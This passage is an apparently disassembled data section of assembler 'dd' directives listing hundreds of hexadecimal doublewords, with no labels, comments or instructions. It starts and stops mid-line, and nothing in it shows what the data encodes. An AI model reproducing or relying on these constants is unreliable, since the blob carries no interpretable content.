591EB4D5h dd 431783EAh, 0FC904456h, 0B23B5230h, 6E29C019h, 204C698Ah dd 98027156h, 90FEBE0h, 31EFA29Ah, 22AD0FBDh, 0A87E9270h dd 0F9A4C236h, 6E4A8158h, 0D36E9665h, 20D0A9A6h, 0D4AEB251h dd 5C990DCAh, 0DF97B34h, 706E5C6h, 0F7D04207h, 88A3947Ah dd 864B759Ah, 107CF460h, 0EC233B2h, 2865C806h, 70970806h dd 0CBD3D5DDh, 0AE512900h, 0D059EC41h, 45E98A8h, 0DD133721h dd 41CC0F0Dh, 0BC6316A0h, 0C112B474h, 0C24F228Eh, 57865AFCh dd 0D9E8B982h, 6D785CBBh, 0B0DC0767h, 4DD2F393h, 1C561944h dd 0FC31D3E1h, 7BEB8B2Dh, 0AC74E3B9h, 3E28E342h, 7C27C991h dd 96DDEF13h, 31F563DCh, 0C6DD6F06h, 0D7ED8132h, 86FE94D4h dd 418BCDE0h, 44582F63h, 4E7AFF41h, 0C7C53B70h, 6752E813h dd 0B94E3F52h, 75C90331h, 6EDD3CC1h, 0A8812C81h, 699E16DCh dd 0A3453451h, 83DBBE3Ah, 642A0C09h, 0D5FC72DDh, 0B98F6D60h dd 462DBA63h, 0DCB62B05h, 0E77BCF6Ah, 0E2D9DC3Ch, 0C7C2E3B6h dd 7A7C90FCh, 4FAAAE69h, 6579511h, 9C653E08h, 0FC1B607Dh dd 0DD1CAF09h, 41783256h, 271BA08Dh, 9BAE7945h, 7D4FB37Dh dd 6FBB7DB6h, 0D87DAA94h, 38F3DBE7h, 0AAAC340Ah, 781F8FA2h dd 0B78CDEC2h, 0B09ADB8h, 515929CBh, 34B7D34Ch, 0E93D2E27h dd 0F59B1DFFh, 0D4610D43h, 2DB9E648h, 0F1B51962h, 679E4739h dd 2B76D48Ah, 5C876AD4h, 0D6EDCD5Ah, 9D2187E3h, 0ED05FC94h dd 0A9A96433h, 0E1DBD0DEh, 2BF1A721h, 0E79DB810h, 0F7AD06CBh dd 0BE61D693h, 420E3D06h, 0BF109985h, 6A1E27FEh, 0B293234Bh dd 0BB5EAB3Eh, 6D11B42Bh, 0E7AA7C1Dh, 0C0742AC3h, 90DCCE1Bh dd 0F2426DF9h, 901EDD24h, 8CEF4977h, 0C2D0B881h, 8803341Ah dd 8902579Ch, 881006A6h, 39E7F6C2h, 432BE8F6h, 2DE093C7h dd 0E62CCE83h, 9D72B3EEh, 4BABE142h, 0F01ADAF7h, 522DAFDBh dd 0BDDCFE90h, 0FDE5032Dh, 2DA19D34h, 0FF0D57ADh, 0EDF2D652h dd 71312824h, 3A0B181Fh, 0B7533CBDh, 4C5E5D15h, 3CB4ACEBh dd 9272D315h, 337CFA96h, 0F208A39Ch, 0DDCB9275h, 96F7F99Eh dd 22BBF9E4h, 0CFAB8FAFh, 0AF40B886h, 2F1E6DDAh, 827CFA18h dd 9B8800AEh, 878A00C7h, 49166C98h, 2FDF0F7Fh, 5DF8E969h dd 0CADA6246h, 5C99E9E4h, 184AC4FAh, 0F8BC6B54h, 6455AAE2h dd 3EE939A4h, 0C583A764h, 0E173BFEDh, 0F0920F03h, 0AB83A3C4h dd 0BB3A7503h, 504452F7h, 130C91EEh, 2DC1D324h, 7C05C72Eh dd 4C88FA19h, 0C6EAFDC5h, 9CB10B55h, 2DD095B8h, 0F0477B27h dd 0C5B2780Dh, 6061FCA2h, 82E84A58h, 5896D20Bh, 0E411DA56h dd 776B2417h, 0C627365Eh, 6DA809FEh, 0AE16489h, 893D0956h dd 87B213D8h, 5AFEAA02h, 3A28E161h, 0D7A758ABh, 4F655339h dd 5F56574Eh, 0E3D338E7h, 83ED6A29h, 8232E78Fh, 0E96DA843h dd 0B48CA9A6h, 0CBDAEE31h, 65A2C99Ch, 266699D7h, 0E952D663h dd 0F5741E14h, 1293F49Ah, 7AEA18E3h, 971E2ADAh, 9EAF4496h dd 0C5CF81B1h, 4BAA69ACh, 0A29A1D09h, 0C772AAF9h, 0E2F2838Dh dd 3C6A8978h, 0A37BE276h, 889E3FC7h, 0DE3CAB69h, 3F9A93C0h dd 65F3CE4Fh, 4564404Ch, 15B4134Bh, 0F59661E5h, 0C49FF04Bh dd 0C208A0B2h, 0DD301B9Ch, 0E16EC1E9h, 0C7361h, 7E4FCB62h dd 3395BFD4h, 0D4FD34F0h, 3BB615C7h, 0F7683FA3h, 19EE1410h dd 4689AB19h, 5AAE0C6h, 0FC9A8078h, 97D24B61h, 0D2A7173Eh dd 4372E038h, 6F222EC0h, 0BE5ADF1Ah, 85348791h, 416F04D6h dd 836631D4h, 91FFDFD4h, 98F4D649h, 0B947A9F9h, 411DF21Ah dd 2C329CA7h, 0DA130D15h, 2DC788AFh, 77E8307Ah, 81D32DD5h dd 0B5D7ED9Fh, 315874A0h, 4960EEF6h, 17060AECh, 600913Ch dd 1892A4BFh, 0C9C32E7Eh, 55F3DF85h, 63D9BC45h, 0CEB9D17Dh dd 58DD6690h, 11A74EDBh, 20B576A5h, 0CA75AC8Ch, 9EEE70A7h dd 324F2DB3h, 3F85745Ah, 0F78B02B1h, 0A42E14EEh, 41524D00h dd 0D40E58FDh, 57519EB3h, 0E545F78Bh, 26451BECh, 57A17065h dd 992C4E83h, 0F246EF1Bh, 0A16C2657h, 0F98447CEh, 4F9EA227h dd 0A74833CBh, 1F294B76h, 0D8F9D5D7h, 9572AC54h, 8A6BBB2Dh dd 0F0F0D849h, 64492448h, 8FA18F40h, 47C732D5h, 0DDBE4771h dd 39840B66h, 0F203ED6Dh, 0D4757A2h, 798251E6h, 966B5233h dd 0F956964Dh, 0AC91B9A6h, 0C174806Ah, 1C2C125Eh, 0CCE36261h dd 7454F115h, 0B5BFE020h, 8E5FC5D3h, 4679589Ah, 3BE9202Fh dd 0C7ECB750h, 0D37534DEh, 88A6DC55h, 0EB07FB1Ah, 0EE393A32h dd 3A64B63Bh, 9E8EEDDFh, 54E5680Ah, 0BB5D7B41h, 2F1629BDh dd 0B83683A4h, 2994D5E0h, 9066A9E7h, 2E109547h, 6A343878h dd 0B4091749h, 64164024h, 3692C3C3h, 7C967071h, 52C82A5h dd 38A6CFA7h, 0E0CA7642h, 0C541A723h, 683DC0CBh, 32A091Dh dd 0CC67F960h, 410F04BAh, 53073C51h, 7FF434ABh, 0BB335927h dd 0E242D38Eh, 0BA81FFF8h, 0A301147Bh, 0ED630F8Dh, 0B3EEA063h dd 7075A6B9h, 14D2627Bh, 54E0FD52h, 79BE7AFFh, 5931ABEAh dd 618FA280h, 6182AA44h, 741F0D71h, 0E9DAC7F9h, 27CC6E73h dd 3E52F52Dh, 0CD464F38h, 716EF79h, 9406C6A7h, 9FEF0B92h dd 8F11472Eh, 0DE887B6Bh, 1BB5BE68h, 0AE505960h, 94D24160h dd 6BB0CAE1h, 5138F1D5h, 0DD270D4h, 9E727897h, 2E4FB930h dd 0BE99A46h, 4B756260h, 3D032C3h, 0C7A14706h, 303EDE37h dd 0A36A8A1Dh, 43035ECDh, 89DE553Ah, 73E56472h, 283B0AFBh dd 40C44A3h, 53B34DA7h, 0C898702Eh, 988670Dh, 0E9E4F50Dh dd 0F202890Dh, 8FEF835h, 62F115E7h, 3F96CEF4h, 160F301Ch dd 0BEA6AADFh, 40AA5429h, 53FE34B1h, 358DCCEEh, 0E197EB9Eh dd 0BA1CE921h, 0D2B4A671h, 0D2C632D3h, 0C8E9F5CDh, 87180A6Fh dd 52F645EAh, 8C6A7618h, 115E255Dh, 0E24F72A0h, 94EC59C6h dd 0C0C2D12Dh, 988D110Fh, 0E334A45Eh, 8A5AE4CEh, 0D9D700C8h dd 9AA540A6h, 0F6C54C1Bh, 0F2209153h, 1FAF0692h, 7CD9334Dh dd 8E860896h, 21561033h, 9BBB5FFBh, 0CF176FE1h, 27DF6500h dd 0EE20CE55h, 1581525Eh, 979717h, 66E91D94h, 0CF432D46h dd 0DCC79FEh, 1CCAAA37h, 1768B6A8h, 4544B74Eh, 8B2312D4h dd 0B8267377h, 0A3F6A30Ah dd 60D1E50Dh, 28D130D7h, 4350EFB2h, 67E16F66h, 0C254CAD3h dd 4B867C8Ah, 9F0FFDD8h, 990C82Eh, 0DA20B6FCh, 6F3DE515h dd 0BCEABAA3h, 0EC1FF2C9h, 0DB1C213Fh, 49286BF7h, 0F2D70843h dd 0F193A63Ah, 0E50DC628h, 0F17E3E81h, 0DDE8B97Fh, 0E146BFCDh dd 253C0B9Bh, 3AC87595h, 9B6522D2h, 0D2CE7EF4h, 25C009A1h dd 0BA9AEh, 0E7B76FD7h, 0B0C55D38h, 0CFD316E1h, 0A2FBEE37h dd 60B30C04h, 0DD1918BCh, 6F3E0551h, 0E2D0A9D8h, 33F2965Bh dd 0F145116Eh, 0C0377B5Dh, 627ED9BDh, 8CDD6FA0h, 289FFB20h dd 0BF4FD067h, 6DC231CBh, 0DA42A3BDh, 39CF13F5h, 9D63CA03h dd 61A4E4ADh, 0E9B11296h, 73636FAAh, 369A44B4h, 0C215BE75h dd 0A34EEF8h, 0DF0C04B9h, 0B0D3002h, 0E84987EFh, 6B6431C4h dd 984E894Fh, 76D6849h, 0DD70112Ah, 2B64246h, 59FF5EA6h dd 2669E11Dh, 0A933D0A5h, 0AC20D16Dh, 92371AC7h, 0C689DE8Dh dd 46658E3Ch, 0DC8F0CEFh, 553AB40Fh, 485D40D7h, 0A254D8B8h dd 4550DF37h, 0B345E70Ah, 8DABF85Eh, 0AF0F8B73h, 64E08EDBh dd 66E3C75Ah, 6FC32B40h, 6DFBCCEDh, 4C399E9Eh, 0BC17C3DBh dd 551318B5h, 3057665h, 0A12A7F50h, 126AF484h, 7D12770Bh dd 57471396h, 0B2AA60E4h, 4CB05C71h, 89E650E6h, 5B34BA1Ah dd 84AFE387h, 4DDE8700h, 2839BD98h, 5733F7ECh, 9C4F7ACAh dd 643C8D73h, 91456D9h, 0FF3C1245h, 0DB9B5AD7h, 201197D0h dd 0F2D79FF6h, 0AA291827h, 0C9FE5B37h, 0AF465D4Fh, 8988C272h dd 9EC2F41Ah, 6FBD02C5h, 0E8F5C883h, 0AFD56CA7h, 0BEEB935Ch dd 0E2F07246h, 995A0E90h, 0CA9B7CF3h, 0C5DAB1A6h, 4E8C7386h dd 5E53B98Dh, 0A456D4B0h, 2F891A25h, 0D56BB735h, 3D36D685h dd 0A751EEB5h, 8FBD15D0h, 0B7E964F8h, 0A9851FE4h, 3C951F7Fh dd 14FE339Eh, 814E1DD0h, 7B6B76B5h, 0FDBB4BFEh, 91AF5020h dd 0BE14517Ch, 0BD1E3526h, 0E4B46C7h, 2C1AAE81h, 3E2B1FC8h dd 5B9B0B8h, 0A9DD9F09h, 0E5DCF92Dh, 471FBBA8h, 1FA16218h dd 0EA65CDF3h, 98B25734h, 8207FF4h, 0DE09F704h, 56E0225Fh dd 996FA635h, 98E42575h, 12505A33h, 57A3CA44h, 60F9A179h dd 12367FB8h, 3BD95B13h, 215E5EF2h, 1DCF2087h, 7EE3D58Bh dd 319EFA2Fh, 78133845h, 70211636h, 0CD3C24B6h, 0F85F0E0h dd 0B2AE112h, 72B52B30h, 0F2E8A165h, 0C62E6D44h, 81577471h dd 4AE9CF6Ah, 7CA9CD11h, 28A2A1EBh, 0BC96E828h, 90FB7D87h dd 0B9951D8Ah, 29E5D674h, 9BEB748Dh, 97E8546h, 0B311A691h dd 3ABFA6D7h, 0A59FD078h, 0AE212729h, 0BCA5AE0Ch, 0E011BBBBh dd 0C10635C3h, 0B33CCDD9h, 0ACBB4B59h, 0A40FF900h, 0ACE69AFFh dd 0F2033B96h, 0DAD4110Ah, 37938A95h, 0A3B35FD9h, 0F8717CCCh dd 0BB223382h, 45B0A976h, 0B70473C7h, 34CC73CBh, 64751365h dd 8C81A5C8h, 3974BA40h, 0EBF46CAh, 9131BB41h, 1AF6DA8Ch dd 0D44DAC0Eh, 2D049B00h, 17C08990h, 80959B51h, 0BDC7411Dh dd 0EAF2DBEDh, 0D2A10032h, 70C1928Bh, 3A57138Eh, 7899CB89h dd 1CE06AD1h, 3DF9202Dh, 8C91F636h, 17F99F09h, 0CB8CF32Ah dd 3447986Dh, 0DC0B01FCh, 48B37259h, 953C3549h, 0B4EAD440h dd 0A2B4441Fh, 497AC220h, 0F6602C0Bh, 53508424h, 791814C2h dd 0F3900D8Ah, 0BFC567B5h, 5956DD95h, 0B9DE635Fh, 0D5049B2h dd 0A060E040h, 8BEF97FDh, 1C43FD24h, 35958B90h, 9DAEC598h dd 0C4831C3Ch, 53A7F5E8h, 0A209894h, 0BBC84D22h, 0B16A8D81h dd 0CB630F77h, 7A2016F5h, 7FB143ABh, 2455EE56h, 794DC6E9h dd 20A7C5BBh, 8643C8E7h, 0E59DA6A9h, 93277EBFh, 0D9A7AA94h dd 0B4F96903h, 25D1CD3Ch, 2EA35D70h, 68459F10h, 0F4F9BE6Fh dd 0CD974912h, 0BFBD6D89h, 90361CDBh, 8CFC289Dh, 0E90CDB15h dd 26C632D4h, 49C33A6h, 8B87F3FEh, 38A54403h, 0BBF545DFh dd 0C6D53DFAh, 258C4122h, 0C45EA811h, 43C12BCCh, 6FCD6908h dd 98C1AD74h, 59E7D7AEh, 842E2980h, 0C47EF6AAh, 5483D004h dd 8FD423BEh, 0DF62CDBAh, 0D1E6455h, 7FAA819Fh, 64C4B303h dd 7237EAA3h, 0B859A25Dh, 0A57BB8EDh, 98797955h, 0C04E04D2h dd 0EEBF76D6h, 0CC96FC95h, 0AD6386A0h, 7DD68BD7h, 0C1092231h dd 2041CD72h, 11931BF3h, 0E820BCA0h, 0C3A45B85h, 67D0F560h dd 0B63C106Eh, 0AB67B476h, 141B250Ch, 0BADC2CCFh, 5FD8241Ah dd 0A45D6BD5h, 0A2A1D847h, 0B3E326BBh, 0B647E5CFh, 4B706DF0h dd 0A4165760h, 0C92C4B22h, 7355F62Bh, 0A7F7A0B5h, 4B01A6CCh dd 8F16F4Eh, 0E53A0B8Bh, 72DEB081h, 0F323023Dh, 0FFF25A50h dd 990625C0h, 8B3E7C85h, 64AD47D4h, 88FEE904h, 0B88F37BDh dd 2F69148Ch, 220F7177h, 632BA726h, 5B573BC1h, 8A06BFDBh dd 0D23A3F92h, 842EF062h, 3EE1BEF5h, 426E89C8h, 62941D7Ch dd 95B014CFh, 94D6B019h, 0B0DE7933h, 4CEFFF5h, 59C11FC1h dd 7D37B53h, 582BA9DBh, 9482FE03h, 93708297h, 612F2F51h dd 36D574F2h, 0C2FDB08h, 0B8F1775Fh, 0D849D553h, 42955DD5h dd 5018F6Ch, 0C9DCF608h, 0EEFE81AEh, 523566B1h, 2F4BB575h dd 0AF7CA12Ah, 0EB1A22B7h, 0CB99DCF1h, 6356E3CCh, 5BAC2969h dd 84917E4Dh, 10BD9F7Ch, 51D73F61h, 0D73D798Fh, 6AF64FD1h dd 0C642FA25h, 1E730F6Bh, 0D4524C01h, 3AC320C6h, 8315ECCEh dd 81BD168Fh, 0E1A4C15Bh, 853F2618h, 3998250Dh, 1FC798A2h dd 0E53EF0A1h, 0B3DEE6BAh, 0DFE64AFDh, 0EC39829Ch, 47096BDAh dd 288FD2BEh, 9A46AFD1h, 622A9C7Bh, 0A6497F7Bh, 21160EF7h dd 0AAB54589h, 57DCA2E5h, 0F78A6861h, 375EECB6h, 0AB4155C6h dd 0D873D3E3h, 0E1796EF4h, 1E5DA67Dh, 0D07B805Ah, 0A0478278h dd 4F02F04Ch, 0F4BF8573h, 0A5997302h, 170EB558h, 585E49Ch dd 73FB7980h, 32C1B0D8h, 43595178h, 8ACEC69Fh, 9EE18A03h dd 82DF5AD1h, 225155A3h, 66BAB145h, 0B7F9ED89h, 152FF6CBh dd 3D3682A7h, 0C31EB5E4h, 8F823594h, 76219FB2h, 0F126ECDFh dd 0D0346E54h, 0D594F575h, 4A8F4288h, 0C1DF969Ah, 6CEB5C62h dd 5317683Ch, 0DB510EE2h, 0EFB43BBh, 0F2F5672Dh, 1A7925E3h dd 0F2AE7A19h, 0F6E9FF00h, 85FDB9A3h, 2F69876Bh, 391BB187h dd 0A2E827AFh, 904A1B4Eh, 0DA84AF9Ch, 841E1BD6h, 6A517600h dd 1DBD61A6h, 6B29057Eh, 737D962Fh, 0FDCEC07h, 1BFBA793h dd 0E4A25B20h, 0C3C669C1h, 0AAA4DB3Ah, 0F51832F9h, 23830661h dd 0FA6DBD18h, 0CFB29DFEh, 126B0AD6h, 733F1868h, 7EFDF571h dd 20E99F53h, 7B4B236Dh, 1B258ABFh, 0CCF65E3Eh, 40D422B4h dd 0C5E7AE34h, 7B00143Dh, 60315581h, 6C95EA3Ah, 0C6DD2743h dd 320ABD7Ah, 0AD4D3697h, 92A1077Bh, 395918D7h, 5400C8EAh dd 0CC01C701h, 61CCCD77h, 5EE049FAh, 0F0ECBFEAh, 22B87389h dd 5A7F0B7Bh, 5F76A79Fh, 64BC7697h, 38D789D6h, 545F6789h dd 4210D4FBh, 0EC08B7C0h, 45ED4140h, 0DDD72DB8h, 1F90D60h dd 0F252ABDEh, 70712407h, 636981CFh, 43B9A434h, 0D5E9CA96h dd 0E13A3E02h, 544DF2A2h, 4EC8D8AAh, 513AD9D8h, 0A32F55BDh dd 916BD5DBh, 0E7AFD93Ch, 0B2DB6D40h, 0EFFBF37h, 1C918D42h dd 4D6EB13Ah, 35531A24h, 52690836h, 6CF56378h, 1CFC2632h dd 9EE34EEDh, 0C2F36E34h, 2C0F1417h, 773EF8C9h, 0AA817E18h dd 0E09E7AA9h, 87E67E8h, 0A6A44FF8h, 9B9C4F48h, 2AA7AE5Ah dd 234912ACh, 0FE0B41D4h, 3C2B2A04h, 25237184h, 0A1CAB741h dd 0E9BD8CC5h, 0F0B60E64h dd 54492400h, 8DD5A94Ch, 7076ACA4h, 0D377717Eh, 0EEFA6BD5h dd 41ED6E8Dh, 7D0BEDE6h, 0FE8D1836h, 0E1069FEEh, 4FCD55DDh dd 0C6574458h, 7A65198h, 0B0FD1248h, 0F1E1D77h, 23F0431Bh dd 0B93D136Bh, 7B30D7F5h, 0D846D03Ch, 0A8E917C8h, 0CC10BA51h dd 9FB5FCBh, 0ECAC9266h, 7F1EA6AEh, 70BFC7D1h, 764B3969h dd 0FCFFFB47h, 0E5504912h, 0AEC9DDCDh, 414848C0h, 0C956D1B8h dd 68A73CF4h, 0ED391BF7h, 184E6685h, 0EFC3CF89h, 420A2D36h dd 9FBA46EFh, 0E0A40B8Fh, 5BFD0BE6h, 45C1B521h, 0ED68ACC2h dd 68E4E5D7h, 7FC4E134h, 44BED8BFh, 516CCF2Ah, 0C3135B78h dd 48D7780Fh, 9E05F117h, 0B335F6F6h, 0F7BA9148h, 0AEBF934Fh dd 86EAA013h, 0EB5E4067h, 4CAB0156h, 0E43DFBDCh, 0A8B64457h dd 52780634h, 0ECA49A16h, 6283F56h, 5444E5FBh, 11B143EFh dd 0C2E93FF3h, 513AD70Bh, 37F472F2h, 0DAEC3807h, 0CB6E6676h dd 0B05F0C87h, 0FC2F7A9Dh, 65F0823Ch, 14DC431Dh, 8BF7AC3Eh dd 911B92E1h, 7A775156h, 97411874h, 0A2E26BC3h, 0C0525BB4h dd 0BB8AB210h, 56919A4Fh, 79EEB558h, 61A8C6h, 4A105635h dd 4D217E61h, 0C5E017F6h, 0B12AF91Ch, 8658D812h, 696EA1C9h dd 6ACAD1BEh, 8D5EE43h, 37E48CC0h, 6A2C3D19h, 207DEAE2h dd 1C04DE18h, 7F651A36h, 0B10BD1B5h, 9F3BBA40h, 0D86806B4h dd 0A62A3117h, 4EDB0093h, 0D165A1EAh, 2DA3AF3h, 654D3306h dd 2D5C4DC0h, 72FCD1CAh, 0EF0E1AF3h, 0C6BEECD6h, 447D1204h dd 145669EEh, 0BFEB14B6h, 8F3BF3E5h, 0E2BE9C9Eh, 0B82D5504h dd 86F11DA8h, 0F1FBB08Dh, 0AEB103Ch, 6F6556A6h, 0F873A8C2h dd 56F5EEE2h, 2AB3B0F6h, 0BDAEC240h, 9C27BEB6h, 8A8B4AF1h dd 0B7506F23h, 349D4FEDh, 5ABC0242h, 4C75C937h, 6740DACCh dd 0AEB19094h, 1A3E2E7h, 0C563FBCCh, 0FCAAD08Ah, 3576A1C4h dd 31367B55h, 1A3980CFh, 3E00BACh, 0D26E9C26h, 0DAB595F1h dd 0BBB6BF57h, 6D9FA40Dh, 4EFAA7B8h, 6ED08943h, 372E8404h dd 50464648h, 0E46ED4C5h, 0A71DACF8h, 0CE01F081h, 0CAF7819h dd 0BEF60E98h, 0CC4A65D1h, 4960EF3Eh, 0C0C16FDCh, 4A1EDFCDh dd 0A7499262h, 575F790Bh, 0F79E64B6h, 0A915E221h, 30D15B26h dd 0A61B2700h, 8441B4D5h, 0EC5CABA8h, 0C1F50C21h, 0D9FF7CE3h dd 0AEAB19BBh, 4DCCB968h, 0E5707E14h, 0ED235987h, 0F36314A3h dd 4141BD70h, 932226E2h, 64600EA0h, 510246F3h, 0A2AC9659h dd 86A34204h, 0CB583E1Ch, 0EAD08C81h, 5C914681h, 13766424h dd 0A8BA2218h, 49785CF1h, 0ED1B4686h, 900EF80Bh, 84145309h dd 0D6EADE32h, 2E7E79C7h, 5277F9BEh, 0A516AC08h, 52E86A71h dd 80DE116h, 3F334B49h, 4CE3A724h, 71BBD976h, 0E9DD43D2h dd 5D353FD9h, 665A5B15h, 50D46DF9h, 0C2BC0192h, 58ABBC19h dd 1517940h, 9DC9536h, 27633F44h, 2C1788B3h, 0AD664D2Ah dd 0AFB635E2h, 34DCBFB0h, 641CC38Ah, 77456CB8h, 887D0DDEh dd 91017DDCh, 974CF4B4h, 15B84667h, 4979F3A2h, 90CF18F5h dd 60A2E0BAh, 89FAE5EDh, 83DCFDD9h, 5607CFAEh, 0C21E4D01h dd 0A5831FB6h, 0C2EF50ECh, 0C391AC6h, 0C33FD5F6h, 4A14CAD3h dd 2BA988D5h, 94EACD2Ch, 0EF07A8Ch, 0E5DD08C6h, 0DF367878h dd 79B9993Ah, 182D938Eh, 55655A7Fh, 5EF3B4AFh, 17B7DDFh dd 0E3167212h, 49C0962h, 0B85960EBh, 8EAB365Bh, 2A7077F6h dd 6AAA5126h, 0CAB025DFh, 941B5DCh, 0DCC6F3E0h, 721551E6h dd 97066AC9h, 27B89A4Eh, 83D7B102h, 77440C2Ah, 574936FAh dd 2EDEE6D6h, 0C212CB96h, 32C9E0A8h, 0F223B3A5h, 7EDF9641h dd 0D4226864h, 0CFE8F9E1h, 6F5FCF4Ah, 8569103h, 85322277h dd 82E18900h, 2D174690h, 0FB77D8D4h, 0B187A7Ah, 0DADF2134h dd 4F1E97B0h, 0F0DF6F0Bh, 2A2C1F4Dh, 4CFE2089h, 28E36D8Ch dd 0DC67ADA1h, 0AD65FF1Ah, 745394BCh, 9249EC85h, 6E40FF00h dd 840FBA42h, 0D9321513h, 2364D0FBh, 0C4E3D65Bh, 235F18E5h dd 0F963469Dh, 2D0EC12Bh, 9D6E3CA3h, 83091817h, 0BE0D3C8Bh dd 0E1022950h, 0A071766Eh, 0D77D5574h, 1C23BDE4h, 44773DF7h dd 180323F4h, 0B84A9837h, 9C8F596h, 9FB7AEF2h, 5C28C84Ah dd 6063C202h, 0FC8E00F2h, 0D494C403h, 0FD53A97Fh, 60BF001Ch dd 4795EDDEh, 0CE945399h, 0C5371301h, 62FB959Bh, 11F69917h dd 0E66CAE7Dh, 2FA8B7DFh, 3240976Bh, 0E5019F17h, 80BFCB51h dd 6613D70Fh, 0F02940CDh, 0C19D2Fh, 0F4FE2632h, 46808391h dd 470752B2h, 465C35BDh, 6BFA240h, 431D060Dh, 1960D16Fh dd 0CBC2DAEDh, 0FDFBDB0Dh, 2B9ACE0Bh, 94D17782h, 1FE1B0B5h dd 10F5B565h, 2557E84Ah, 1D83B7Eh, 0EE567FB6h, 0B1306E73h dd 337DCB4Fh, 425FA9C8h, 9E5DDDD1h, 0DB981C94h, 0FA4A8806h dd 61BBC2E6h, 0F0774807h, 0D6683A45h, 0D6D22DDBh, 0B5E061DAh dd 0A3871CA9h, 9D5C2C60h, 977EF7BEh, 9388D28Fh, 71BF6DE2h dd 738A3C5h, 0F6DCF934h, 9DA86B8Bh, 20E4FB1Eh, 0C27A1C60h dd 0CC733022h, 5E1EF382h, 5C17CEF9h, 0E1D901AEh, 3104A9ACh dd 0EF0B6E74h, 9A4B1A72h, 46CADD47h, 69691B23h, 0D5461F92h dd 1BC16E7Bh, 5AC33181h, 5A40F121h, 59EE7Ah, 95B20D94h dd 9D678269h, 9E4E2CBh, 0DBE1BC8h, 0D9CD444Bh, 529820F9h dd 0B197504Ah, 0DA11A96Ah, 6A2CD90Fh, 6C3B1706h, 0AFA16ACDh dd 2B91477Dh, 0DE6C0AFEh, 6D49F2BEh, 96930DC0h, 8380CADEh dd 8FCE371Ah, 0A2A3F289h, 74AF3E9Bh, 7BABCBF2h, 22D6A331h dd 6E88892Ch, 8AA4E881h, 0DA80C9ABh, 595604B0h, 2D405B9Dh dd 68B738C4h, 44D9F07Eh, 6185DA88h, 0C382F15Fh, 38C7CDD0h dd 0D984223Ch, 0F34DE2ECh, 46C54E6Eh, 26A8B627h, 98E2713Eh dd 933FED3Ch, 0DC4B4EC2h, 99661A7Eh, 0D61DB9A1h, 0A7C7CEBAh dd 18FF8F07h, 3AEA0E85h, 31B14BB3h, 81A375A9h, 539267D7h dd 0BF10D219h, 0D18118F2h, 55C384E4h, 38146C21h, 0EFF1B06Bh dd 6A072A2Fh, 1B0F4975h, 85331E13h, 8A20CA7Bh, 5FACAC86h dd 0CF314915h, 0F9A86475h, 71AFF676h, 0A9D118E5h, 7BA551C7h dd 9B1326D2h, 3D9803B8h, 0EAE5A5B1h, 338E3803h, 0AB33E65Eh dd 0EC7BA101h, 716D143Dh, 0CB6296D5h, 24A47186h, 78D9152Fh dd 187FCAAAh, 9867CAC0h, 7003F50Bh, 80D56A9h, 0D7E85282h dd 0B3D3A3AFh, 9B95851Ah, 2431AB02h, 0DC4A0369h, 0A1316BCDh dd 0F870454Ah, 2478C4A5h, 393D75ADh, 0BEDC93Ch, 0ABF75E3Fh dd 8EF7E1C6h, 1BA6057Ah, 1DE6E4B3h, 0EAB0C589h, 6FC23D04h dd 0E2830061h, 7C35D4A2h, 2988B744h, 9E90DE7Eh, 7346CBECh dd 0C5963D48h, 466CD463h, 8DD5689Dh, 5C49F9DCh, 705C8637h dd 0AD859E5Dh, 631C8417h, 2DE3A7E2h, 0F65B3E92h, 0E5803852h dd 0A180AF6Bh, 507ABFFAh, 55B7A6D2h, 0E5B3BFF1h, 0CF97E3DDh dd 0E9368EC5h, 0D6CF7E24h, 44548304h, 0DDEA5E01h, 0A2848ABh dd 0CA0FA740h, 3B4995B1h, 6341F4FDh, 37629934h, 782536Dh dd 0E28AE0h, 0FD2D56B8h, 0D34A402Fh, 9F7995Dh, 61CF7A30h dd 0FD32E0C4h, 5CDD0797h, 471105FFh, 0BB62654Bh, 919CDAF7h dd 0BF46D563h, 0A7D63507h, 0CE376830h, 8E8DC8C7h, 0E72A21EAh dd 0DDCB1FC3h, 0B62284B3h, 4A8A8222h, 3170F6A0h, 4F55B3ADh dd 50D6525Ah, 0E21EFCD3h, 95A807E3h, 0C5CA49E6h, 6B972189h dd 3FC14B52h, 1413795Dh, 2EF690F8h, 0E84B3FBEh, 0D3FC0EB1h dd 0CB3DEC43h, 0BA7785E0h dd 40A9FE66h, 0F8BB3541h, 0E03225AAh, 0B6715B27h, 0ECCAE5D9h dd 0A7BD1EB8h, 0F08D4D34h, 0DD67FD7Dh, 0EB861DEh, 0EACD2ECBh dd 630C316Ah, 0BD1E2FABh, 2DFA28A7h, 0FF6C5D44h, 55E24058h dd 9FD2C75Ch, 0BC32655Eh, 0D3DE8520h, 4AC4F267h, 0A5D3A6B4h dd 9D64C27Eh, 0EF88490Fh, 82829481h, 43969404h, 818580D3h dd 0ADBE2D7Bh, 6A7A608Eh, 77B6AE9Bh, 0FFE355F4h, 9D6EF940h dd 93635B3Ah, 0C672EE32h, 0CC136CBEh, 0B9629DE9h, 0E50DA2CBh dd 649D80F1h, 62DF3BDh, 0DF9A74Dh, 5F268BBDh, 3AE8FE66h dd 976166E5h, 0D1A0285Fh, 0A03E5CCCh, 900AFF86h, 0BF26A580h dd 6C22081Ch, 20E31FF0h, 0F3A3B00Ah, 3E96C5BDh, 0C4CF5CCAh dd 54D49B65h, 8749A691h, 0FCA1E813h, 75B2D223h, 28034CCCh dd 0A08266D9h, 0F075C51Fh, 0CFC761FBh, 8225C457h, 6D111EF6h dd 0FAE97689h, 1017283Dh, 999FABDCh, 4D772A20h, 867BA912h dd 0D0742261h, 0B5271783h, 0CC33C002h, 4795D30Fh, 43173380h dd 0D70F2693h, 5B608C9Ah, 91FA4F40h, 964A0060h, 0CB639A20h dd 1CBAD247h, 0E21A5EE0h, 0B155F8F1h, 0A84E95C5h, 7B77ED89h dd 75BF0397h, 44B87CDAh, 4F674E67h, 0EC4163CCh, 8D146AC1h dd 0C329448Dh, 6B0C055Eh, 0D5218B89h, 890B2C87h, 0EAB78727h dd 0FC994510h, 0B852DC28h, 0D3FAA685h, 33298770h, 8353D88Eh dd 863EAAB0h, 5FC55959h, 0F786DAC1h, 11BAE744h, 0F35EC817h dd 0BF18D4B6h, 53190F5Dh, 2AC2CC99h, 0B9EA7509h, 5995B03Fh dd 3D9685F8h, 0F3A891FCh, 0F0E18100h, 2F7BC2E8h, 8E432EE8h dd 6C50210Eh, 35E331A5h, 0F506EE37h, 0AA9BEB08h, 538391C7h dd 2AF97F16h, 0C1052215h, 7ABB2AC2h, 0A0C36585h, 2C614515h dd 561E21ADh, 0E31E44B3h, 0C18FA7F9h, 7A61965Ch, 6FCBCBB6h dd 9B3D1312h, 3D947ADEh, 9BBD943Fh, 